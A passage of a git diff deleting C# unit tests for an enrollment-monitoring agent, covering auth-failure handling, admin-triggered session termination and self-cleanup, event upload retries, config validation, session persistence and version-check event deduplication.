|
||||
public void HandleAuthFailure_TimeoutDisabled_NeverExitsOnTime()
|
||||
{
|
||||
_config.MaxAuthFailures = 0;
|
||||
_config.AuthFailureTimeoutMinutes = 0;
|
||||
var orch = CreateOrchestrator();
|
||||
|
||||
for (int i = 0; i < 10; i++)
|
||||
orch.HandleAuthFailure(401);
|
||||
|
||||
Assert.Null(_exitCode);
|
||||
}
|
||||
|
||||
// ===== Admin Signal Processing =====
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_KillSignal_SynthesizesTerminateActionWithForceSelfDestruct()
|
||||
{
|
||||
// After the consolidation the orchestrator no longer runs kill-specific inline logic.
|
||||
// It synthesizes a terminate_session ServerAction and hands it to the dispatcher.
|
||||
// The actual self-destruct + exit happens in MonitoringService.HandleTerminateSessionAsync
|
||||
// (see dedicated tests there). We verify the synthesis contract here.
|
||||
var events = CreateTestEvents();
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
|
||||
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
|
||||
.ReturnsAsync(new IngestEventsResponse { DeviceKillSignal = true });
|
||||
|
||||
List<ServerAction> dispatched = null;
|
||||
var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured);
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
orch.SetServerActionDispatcher(dispatcher);
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
Assert.NotNull(dispatched);
|
||||
Assert.Single(dispatched);
|
||||
Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type);
|
||||
Assert.Equal("true", dispatched[0].Params["forceSelfDestruct"]);
|
||||
Assert.Equal("0", dispatched[0].Params["gracePeriodSeconds"]);
|
||||
Assert.Equal("kill_signal", dispatched[0].Params["origin"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_DeviceBlocked_StopsTimers_NoSelfDestruct()
|
||||
{
|
||||
var events = CreateTestEvents();
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
|
||||
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
|
||||
.ReturnsAsync(new IngestEventsResponse { DeviceBlocked = true });
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
_mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Never);
|
||||
Assert.Null(_exitCode);
|
||||
Assert.Empty(_shutdownEvents);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_AdminOverride_Succeeded_SynthesizesTerminateWithOutcome()
|
||||
{
|
||||
// AdminAction is a soft-shutdown path — no forceSelfDestruct. The adminOutcome param
|
||||
// tells MonitoringService.HandleTerminateSessionAsync to emit enrollment_complete
|
||||
// instead of agent_shutdown.
|
||||
var events = CreateTestEvents();
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
|
||||
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
|
||||
.ReturnsAsync(new IngestEventsResponse { AdminAction = "Succeeded" });
|
||||
_terminalEventSeen = false;
|
||||
|
||||
List<ServerAction> dispatched = null;
|
||||
var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured);
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
orch.SetServerActionDispatcher(dispatcher);
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
Assert.NotNull(dispatched);
|
||||
Assert.Single(dispatched);
|
||||
Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type);
|
||||
Assert.Equal("Succeeded", dispatched[0].Params["adminOutcome"]);
|
||||
Assert.Equal("admin_action", dispatched[0].Params["origin"]);
|
||||
Assert.False(dispatched[0].Params.ContainsKey("forceSelfDestruct"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_AdminOverride_Failed_SynthesizesTerminateWithFailedOutcome()
|
||||
{
|
||||
var events = CreateTestEvents();
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
|
||||
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
|
||||
.ReturnsAsync(new IngestEventsResponse { AdminAction = "Failed" });
|
||||
_terminalEventSeen = false;
|
||||
|
||||
List<ServerAction> dispatched = null;
|
||||
var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured);
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
orch.SetServerActionDispatcher(dispatcher);
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
Assert.NotNull(dispatched);
|
||||
Assert.Single(dispatched);
|
||||
Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type);
|
||||
Assert.Equal("Failed", dispatched[0].Params["adminOutcome"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_AdminOverride_TerminalEventAlreadySeen_Ignored()
|
||||
{
|
||||
var events = CreateTestEvents();
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
|
||||
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
|
||||
.ReturnsAsync(new IngestEventsResponse { AdminAction = "Succeeded" });
|
||||
_terminalEventSeen = true;
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
Assert.Empty(_emittedEvents);
|
||||
}
|
||||
|
||||
// ===== Upload Success/Failure Tracking =====
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_Success_RemovesEventsFromSpool()
|
||||
{
|
||||
var events = CreateTestEvents();
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
|
||||
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
|
||||
.ReturnsAsync(new IngestEventsResponse { Success = true, EventsProcessed = 3 });
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
_mockSpool.Verify(s => s.RemoveEvents(events), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_EmptySpool_NoApiCall()
|
||||
{
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(new List<EnrollmentEvent>());
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
_mockApiClient.Verify(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()), Times.Never);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_AuthException_TriggersHandleAuthFailure()
|
||||
{
|
||||
var events = CreateTestEvents();
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
|
||||
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
|
||||
.ThrowsAsync(new BackendAuthException("Unauthorized", 401));
|
||||
_config.MaxAuthFailures = 0; // disable exit so test doesn't trip ExitProcess
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
// Distress should be sent (first auth failure)
|
||||
_mockDistress.Verify(d => d.TrySendAsync(
|
||||
DistressErrorType.AuthCertificateRejected,
|
||||
It.IsAny<string>(),
|
||||
401), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_GenericException_IncrementsUploadFailureCounter()
|
||||
{
|
||||
var events = CreateTestEvents();
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
|
||||
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
|
||||
.ThrowsAsync(new Exception("Network error"));
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
|
||||
// Call 3 times to reach the emergency threshold
|
||||
for (int i = 0; i < EmergencyReporter.ConsecutiveFailureThreshold; i++)
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
_mockEmergency.Verify(e => e.TrySendAsync(
|
||||
AgentErrorType.IngestFailed,
|
||||
It.IsAny<string>(),
|
||||
It.IsAny<int?>(),
|
||||
It.IsAny<long?>()), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_Success_ResetsAllFailureCounters()
|
||||
{
|
||||
var events = CreateTestEvents();
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
|
||||
|
||||
// First call: fail with generic exception
|
||||
_mockApiClient.SetupSequence(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
|
||||
.ThrowsAsync(new Exception("Network error"))
|
||||
.ReturnsAsync(new IngestEventsResponse { Success = true, EventsProcessed = 3 })
|
||||
.ThrowsAsync(new Exception("Network error again"));
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
|
||||
// Failure #1
|
||||
await orch.UploadEventsAsync();
|
||||
// Success — resets counter
|
||||
await orch.UploadEventsAsync();
|
||||
// Failure #1 again (counter was reset, so emergency at threshold from fresh start)
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
// Emergency should NOT be sent because the counter was reset after 1 failure
|
||||
// (threshold is 3, we only had 1 failure after reset)
|
||||
_mockEmergency.Verify(e => e.TrySendAsync(
|
||||
It.IsAny<AgentErrorType>(),
|
||||
It.IsAny<string>(),
|
||||
It.IsAny<int?>(),
|
||||
It.IsAny<long?>()), Times.Never);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UploadEvents_ConcurrentCall_SecondSkipped()
|
||||
{
|
||||
var events = CreateTestEvents();
|
||||
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
|
||||
|
||||
var tcs = new TaskCompletionSource<IngestEventsResponse>();
|
||||
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
|
||||
.Returns(tcs.Task);
|
||||
|
||||
var orch = CreateOrchestrator();
|
||||
|
||||
// Start first upload (will block on tcs)
|
||||
var task1 = orch.UploadEventsAsync();
|
||||
|
||||
// Second call should be skipped immediately
|
||||
await orch.UploadEventsAsync();
|
||||
|
||||
// Complete the first call
|
||||
tcs.SetResult(new IngestEventsResponse { Success = true, EventsProcessed = 3 });
|
||||
await task1;
|
||||
|
||||
// API should only be called once (second was skipped)
|
||||
_mockApiClient.Verify(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()), Times.Once);
|
||||
}
|
||||
}
|
||||
}
|
||||
-112
@@ -1,112 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Core
|
||||
{
|
||||
/// <summary>
|
||||
/// Verifies that MonitoringService rejects an incomplete AgentConfiguration with a
|
||||
/// diagnostic message that names the missing fields. Customer-impact regression
|
||||
/// (gardnermedia, 2026-04-30): a TenantId-less startup crashed with an opaque
|
||||
/// "Invalid agent configuration" message that defied forensic analysis.
|
||||
/// </summary>
|
||||
public class MonitoringServiceConfigValidationTests : IDisposable
|
||||
{
|
||||
private readonly string _tempDir;
|
||||
|
||||
public MonitoringServiceConfigValidationTests()
|
||||
{
|
||||
_tempDir = Path.Combine(Path.GetTempPath(), "autopilot-cfg-validation-" + Guid.NewGuid().ToString("N"));
|
||||
Directory.CreateDirectory(_tempDir);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
try { Directory.Delete(_tempDir, true); } catch { }
|
||||
}
|
||||
|
||||
private AgentConfiguration BuildValidConfig() => new AgentConfiguration
|
||||
{
|
||||
ApiBaseUrl = "https://example.invalid",
|
||||
SessionId = Guid.NewGuid().ToString(),
|
||||
TenantId = Guid.NewGuid().ToString(),
|
||||
SpoolDirectory = Path.Combine(_tempDir, "spool"),
|
||||
LogDirectory = Path.Combine(_tempDir, "logs")
|
||||
};
|
||||
|
||||
private AgentLogger BuildLogger() => new AgentLogger(Path.Combine(_tempDir, "logs"));
|
||||
|
||||
[Fact]
|
||||
public void Constructor_throws_with_field_name_when_TenantId_missing()
|
||||
{
|
||||
var config = BuildValidConfig();
|
||||
config.TenantId = null;
|
||||
|
||||
var ex = Assert.Throws<InvalidOperationException>(
|
||||
() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
|
||||
|
||||
Assert.Contains("missing", ex.Message);
|
||||
Assert.Contains(nameof(AgentConfiguration.TenantId), ex.Message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Constructor_throws_with_field_name_when_SessionId_missing()
|
||||
{
|
||||
var config = BuildValidConfig();
|
||||
config.SessionId = "";
|
||||
|
||||
var ex = Assert.Throws<InvalidOperationException>(
|
||||
() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
|
||||
|
||||
Assert.Contains(nameof(AgentConfiguration.SessionId), ex.Message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Constructor_throws_with_field_name_when_ApiBaseUrl_missing()
|
||||
{
|
||||
var config = BuildValidConfig();
|
||||
config.ApiBaseUrl = null;
|
||||
|
||||
var ex = Assert.Throws<InvalidOperationException>(
|
||||
() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
|
||||
|
||||
Assert.Contains(nameof(AgentConfiguration.ApiBaseUrl), ex.Message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Constructor_throws_with_all_field_names_when_multiple_missing()
|
||||
{
|
||||
var config = new AgentConfiguration
|
||||
{
|
||||
ApiBaseUrl = null,
|
||||
SessionId = null,
|
||||
TenantId = null,
|
||||
SpoolDirectory = Path.Combine(_tempDir, "spool"),
|
||||
LogDirectory = Path.Combine(_tempDir, "logs")
|
||||
};
|
||||
|
||||
var ex = Assert.Throws<InvalidOperationException>(
|
||||
() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
|
||||
|
||||
Assert.Contains(nameof(AgentConfiguration.ApiBaseUrl), ex.Message);
|
||||
Assert.Contains(nameof(AgentConfiguration.SessionId), ex.Message);
|
||||
Assert.Contains(nameof(AgentConfiguration.TenantId), ex.Message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Constructor_message_does_not_change_for_valid_config()
|
||||
{
|
||||
// Sanity: a fully-populated config should NOT throw the validation exception.
|
||||
// It may throw later (cert load, spool init) — we only assert the validation
|
||||
// path itself does not fire on a complete config.
|
||||
var config = BuildValidConfig();
|
||||
|
||||
var ex = Record.Exception(() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
|
||||
if (ex is InvalidOperationException ioe)
|
||||
Assert.DoesNotContain("Invalid agent configuration:", ioe.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,177 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Core
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests session persistence across agent restarts, reboots, and OS resets.
|
||||
/// Prevents: session splits when session.created is lost during reboot (orphan guard
|
||||
/// was too aggressive — deleted session.id instead of recovering session.created).
|
||||
/// </summary>
|
||||
public class SessionPersistenceTests : IDisposable
|
||||
{
|
||||
private readonly string _tempDir;
|
||||
|
||||
public SessionPersistenceTests()
|
||||
{
|
||||
_tempDir = Path.Combine(Path.GetTempPath(), "autopilot-session-test-" + Guid.NewGuid().ToString("N"));
|
||||
Directory.CreateDirectory(_tempDir);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
try { Directory.Delete(_tempDir, true); } catch { }
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void LoadOrCreateSessionId_FirstRun_CreatesNewSession()
|
||||
{
|
||||
var persistence = new SessionPersistence(_tempDir);
|
||||
var sessionId = persistence.LoadOrCreateSessionId();
|
||||
|
||||
Assert.True(Guid.TryParse(sessionId, out _));
|
||||
Assert.True(File.Exists(Path.Combine(_tempDir, "session.id")));
|
||||
Assert.True(File.Exists(Path.Combine(_tempDir, "session.created")));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void LoadOrCreateSessionId_ExistingSession_ReturnsExistingId()
|
||||
{
|
||||
var persistence = new SessionPersistence(_tempDir);
|
||||
var firstId = persistence.LoadOrCreateSessionId();
|
||||
|
||||
// Simulate agent restart — new SessionPersistence instance, same directory
|
||||
var persistence2 = new SessionPersistence(_tempDir);
|
||||
var secondId = persistence2.LoadOrCreateSessionId();
|
||||
|
||||
Assert.Equal(firstId, secondId);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Regression test for the session-split bug: after a reboot, if session.created
|
||||
/// is lost (filesystem flush, corruption, etc.) but session.id survives,
|
||||
/// the agent must resume the existing session — not create a new one.
|
||||
/// </summary>
|
||||
[Fact]
|
||||
public void LoadOrCreateSessionId_RecentSessionId_MissingSessionCreated_ResumesSession()
|
||||
{
|
||||
// Arrange: create a valid session, then delete session.created to simulate loss
|
||||
var persistence = new SessionPersistence(_tempDir);
|
||||
var originalId = persistence.LoadOrCreateSessionId();
|
||||
|
||||
File.Delete(Path.Combine(_tempDir, "session.created"));
|
||||
Assert.False(File.Exists(Path.Combine(_tempDir, "session.created")));
|
||||
|
||||
// Act: simulate agent restart after reboot
|
||||
var persistence2 = new SessionPersistence(_tempDir);
|
||||
var resumedId = persistence2.LoadOrCreateSessionId();
|
||||
|
||||
// Assert: same session ID, session.created re-initialized
|
||||
Assert.Equal(originalId, resumedId);
|
||||
Assert.True(File.Exists(Path.Combine(_tempDir, "session.created")));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// True orphan: session.id from a previous enrollment (old file) without
|
||||
/// session.created should still be discarded and a new session created.
|
||||
/// </summary>
|
||||
[Fact]
|
||||
public void LoadOrCreateSessionId_OldSessionId_MissingSessionCreated_CreatesNewSession()
|
||||
{
|
||||
// Arrange: write a session.id with an old modification time
|
||||
var sessionIdPath = Path.Combine(_tempDir, "session.id");
|
||||
var oldGuid = Guid.NewGuid().ToString();
|
||||
File.WriteAllText(sessionIdPath, oldGuid);
|
||||
|
||||
// Set file modification time to well beyond the orphan guard threshold
|
||||
var oldTime = DateTime.UtcNow.AddHours(-(SessionPersistence.OrphanGuardMaxAgeHours + 24));
|
||||
File.SetLastWriteTimeUtc(sessionIdPath, oldTime);
|
||||
|
||||
// No session.created file — simulates OS reset where ProgramData survived
|
||||
|
||||
// Act
|
||||
var persistence = new SessionPersistence(_tempDir);
|
||||
var newId = persistence.LoadOrCreateSessionId();
|
||||
|
||||
// Assert: new session created, not the old orphan
|
||||
Assert.NotEqual(oldGuid, newId);
|
||||
Assert.True(Guid.TryParse(newId, out _));
|
||||
Assert.True(File.Exists(Path.Combine(_tempDir, "session.created")));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void LoadOrCreateSessionId_RecentSessionId_MissingSessionCreated_PreservesSequence()
|
||||
{
|
||||
// Arrange: create session with sequence, then delete session.created
|
||||
var persistence = new SessionPersistence(_tempDir);
|
||||
var originalId = persistence.LoadOrCreateSessionId();
|
||||
persistence.SaveSequence(42);
|
||||
|
||||
File.Delete(Path.Combine(_tempDir, "session.created"));
|
||||
|
||||
// Act: restart
|
||||
var persistence2 = new SessionPersistence(_tempDir);
|
||||
var resumedId = persistence2.LoadOrCreateSessionId();
|
||||
var sequence = persistence2.LoadSequence();
|
||||
|
||||
// Assert: session AND sequence preserved
|
||||
Assert.Equal(originalId, resumedId);
|
||||
Assert.Equal(42, sequence);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void LoadOrCreateSessionId_OldSessionId_MissingSessionCreated_ClearsSequence()
|
||||
{
|
||||
// Arrange: old session.id + sequence file, no session.created
|
||||
var sessionIdPath = Path.Combine(_tempDir, "session.id");
|
||||
File.WriteAllText(sessionIdPath, Guid.NewGuid().ToString());
|
||||
File.SetLastWriteTimeUtc(sessionIdPath,
|
||||
DateTime.UtcNow.AddHours(-(SessionPersistence.OrphanGuardMaxAgeHours + 24)));
|
||||
|
||||
var seqPath = Path.Combine(_tempDir, "session.seq");
|
||||
File.WriteAllText(seqPath, "99");
|
||||
|
||||
// Act
|
||||
var persistence = new SessionPersistence(_tempDir);
|
||||
persistence.LoadOrCreateSessionId();
|
||||
var sequence = persistence.LoadSequence();
|
||||
|
||||
// Assert: sequence reset (old orphan files cleaned up)
|
||||
Assert.Equal(0, sequence);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DeleteSession_RemovesAllFiles()
|
||||
{
|
||||
var persistence = new SessionPersistence(_tempDir);
|
||||
persistence.LoadOrCreateSessionId();
|
||||
persistence.SaveSequence(10);
|
||||
|
||||
persistence.DeleteSession();
|
||||
|
||||
Assert.False(File.Exists(Path.Combine(_tempDir, "session.id")));
|
||||
Assert.False(File.Exists(Path.Combine(_tempDir, "session.seq")));
|
||||
Assert.False(File.Exists(Path.Combine(_tempDir, "session.created")));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void NewSession_Flag_ForcesNewSession()
|
||||
{
|
||||
var persistence = new SessionPersistence(_tempDir);
|
||||
var firstId = persistence.LoadOrCreateSessionId();
|
||||
|
||||
// Simulate --new-session flag: delete then create
|
||||
persistence.DeleteSession();
|
||||
var secondId = persistence.LoadOrCreateSessionId();
|
||||
|
||||
Assert.NotEqual(firstId, secondId);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,313 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Newtonsoft.Json.Linq;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Core
|
||||
{
|
||||
/// <summary>
|
||||
/// Covers the three outcomes (updated / skipped / check_failed / up_to_date), the dedup rules,
|
||||
/// and the defensive behaviors (no marker, corrupt JSON, stale markers).
|
||||
/// </summary>
|
||||
public class VersionCheckEventBuilderTests : IDisposable
|
||||
{
|
||||
private readonly string _tempDir;
|
||||
private readonly VersionCheckEventBuilder.Paths _paths;
|
||||
|
||||
private const string SessionA = "11111111-1111-1111-1111-111111111111";
|
||||
private const string SessionB = "22222222-2222-2222-2222-222222222222";
|
||||
private const string TenantId = "tenant-xyz";
|
||||
|
||||
public VersionCheckEventBuilderTests()
|
||||
{
|
||||
_tempDir = Path.Combine(Path.GetTempPath(), "vceb-test-" + Guid.NewGuid().ToString("N"));
|
||||
Directory.CreateDirectory(_tempDir);
|
||||
_paths = new VersionCheckEventBuilder.Paths
|
||||
{
|
||||
UpdatedMarker = Path.Combine(_tempDir, "self-update-info.json"),
|
||||
SkippedMarker = Path.Combine(_tempDir, "self-update-skipped.json"),
|
||||
CheckedMarker = Path.Combine(_tempDir, "self-update-checked.json"),
|
||||
LastEmit = Path.Combine(_tempDir, "last-version-check.json"),
|
||||
};
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); } catch { }
|
||||
}
|
||||
|
||||
private void WriteChecked(string current = "1.0.949", string latest = "1.0.949", long versionCheckMs = 123)
|
||||
{
|
||||
var json = new JObject
|
||||
{
|
||||
["outcome"] = "up_to_date",
|
||||
["currentVersion"] = current,
|
||||
["latestVersion"] = latest,
|
||||
["versionCheckMs"] = versionCheckMs,
|
||||
["checkedAtUtc"] = DateTime.UtcNow.ToString("O"),
|
||||
};
|
||||
File.WriteAllText(_paths.CheckedMarker, json.ToString());
|
||||
}
|
||||
|
||||
private void WriteUpdated(string previous = "1.0.949", string newVer = "1.0.950", string trigger = "startup")
|
||||
{
|
||||
var now = DateTime.UtcNow;
|
||||
var json = new JObject
|
||||
{
|
||||
["outcome"] = "updated",
|
||||
["previousVersion"] = previous,
|
||||
["newVersion"] = newVer,
|
||||
["triggerReason"] = trigger,
|
||||
["updatedAtUtc"] = now.ToString("O"),
|
||||
["exitAtUtc"] = now.AddSeconds(-2).ToString("O"),
|
||||
["versionCheckMs"] = 100L,
|
||||
["downloadMs"] = 2000L,
|
||||
["zipSizeBytes"] = 1234567L,
|
||||
["verifyMs"] = 40L,
|
||||
["extractMs"] = 200L,
|
||||
["swapMs"] = 50L,
|
||||
["totalUpdateMs"] = 2400L,
|
||||
};
|
||||
File.WriteAllText(_paths.UpdatedMarker, json.ToString());
|
||||
}
|
||||
|
||||
private void WriteSkipped(string reason = "download_failed", string latest = "1.0.950", string outcome = null)
|
||||
{
|
||||
var json = new JObject
|
||||
{
|
||||
["reason"] = reason,
|
||||
["currentVersion"] = "1.0.949",
|
||||
["latestVersion"] = latest,
|
||||
["skippedAtUtc"] = DateTime.UtcNow.ToString("O"),
|
||||
["errorDetail"] = "timeout after 10000ms",
|
||||
};
|
||||
if (outcome != null) json["outcome"] = outcome;
|
||||
File.WriteAllText(_paths.SkippedMarker, json.ToString());
|
||||
}
|
||||
|
||||
private void WriteLastEmit(string sessionId, string latestVersion, string outcome)
|
||||
{
|
||||
var json = new JObject
|
||||
{
|
||||
["sessionId"] = sessionId,
|
||||
["latestVersion"] = latestVersion,
|
||||
["outcome"] = outcome,
|
||||
["emittedAtUtc"] = DateTime.UtcNow.ToString("O"),
|
||||
};
|
||||
File.WriteAllText(_paths.LastEmit, json.ToString());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void NoMarker_ReturnsNoEvent()
|
||||
{
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.Null(result.Event);
|
||||
Assert.False(result.Deduped);
|
||||
Assert.Null(result.Outcome);
|
||||
Assert.Null(result.ParseError);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpToDateMarker_FirstTime_EmitsEventAndPersistsLastEmit()
|
||||
{
|
||||
WriteChecked(latest: "1.0.949");
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.NotNull(result.Event);
|
||||
Assert.Equal(Constants.EventTypes.AgentVersionCheck, result.Event.EventType);
|
||||
Assert.Equal(EventSeverity.Info, result.Event.Severity);
|
||||
Assert.Equal("up_to_date", result.Event.Data["outcome"]);
|
||||
Assert.Equal("1.0.949", result.Event.Data["latestVersion"]);
|
||||
Assert.False(File.Exists(_paths.CheckedMarker)); // marker deleted
|
||||
Assert.True(File.Exists(_paths.LastEmit)); // last-emit persisted
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpToDateMarker_SameSessionSameVersion_IsDeduped()
|
||||
{
|
||||
WriteLastEmit(SessionA, "1.0.949", "up_to_date");
|
||||
WriteChecked(latest: "1.0.949");
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.Null(result.Event);
|
||||
Assert.True(result.Deduped);
|
||||
Assert.Equal("up_to_date", result.Outcome);
|
||||
Assert.False(File.Exists(_paths.CheckedMarker));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpToDateMarker_DifferentSession_EmitsEvent()
|
||||
{
|
||||
WriteLastEmit(SessionA, "1.0.949", "up_to_date");
|
||||
WriteChecked(latest: "1.0.949");
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionB, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.NotNull(result.Event);
|
||||
Assert.False(result.Deduped);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpToDateMarker_SameSessionButNewerLatestVersion_EmitsEvent()
|
||||
{
|
||||
// White-glove scenario: after a pause a new release appeared. Dedup must break.
|
||||
WriteLastEmit(SessionA, "1.0.949", "up_to_date");
|
||||
WriteChecked(latest: "1.0.950");
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.NotNull(result.Event);
|
||||
Assert.False(result.Deduped);
|
||||
Assert.Equal("1.0.950", result.Event.Data["latestVersion"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdatedMarker_AlwaysEmits_IgnoresLastEmit()
|
||||
{
|
||||
WriteLastEmit(SessionA, "1.0.950", "updated");
|
||||
WriteUpdated(previous: "1.0.949", newVer: "1.0.950", trigger: "startup");
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.NotNull(result.Event);
|
||||
Assert.Equal("updated", result.Event.Data["outcome"]);
|
||||
Assert.Equal(EventSeverity.Info, result.Event.Severity);
|
||||
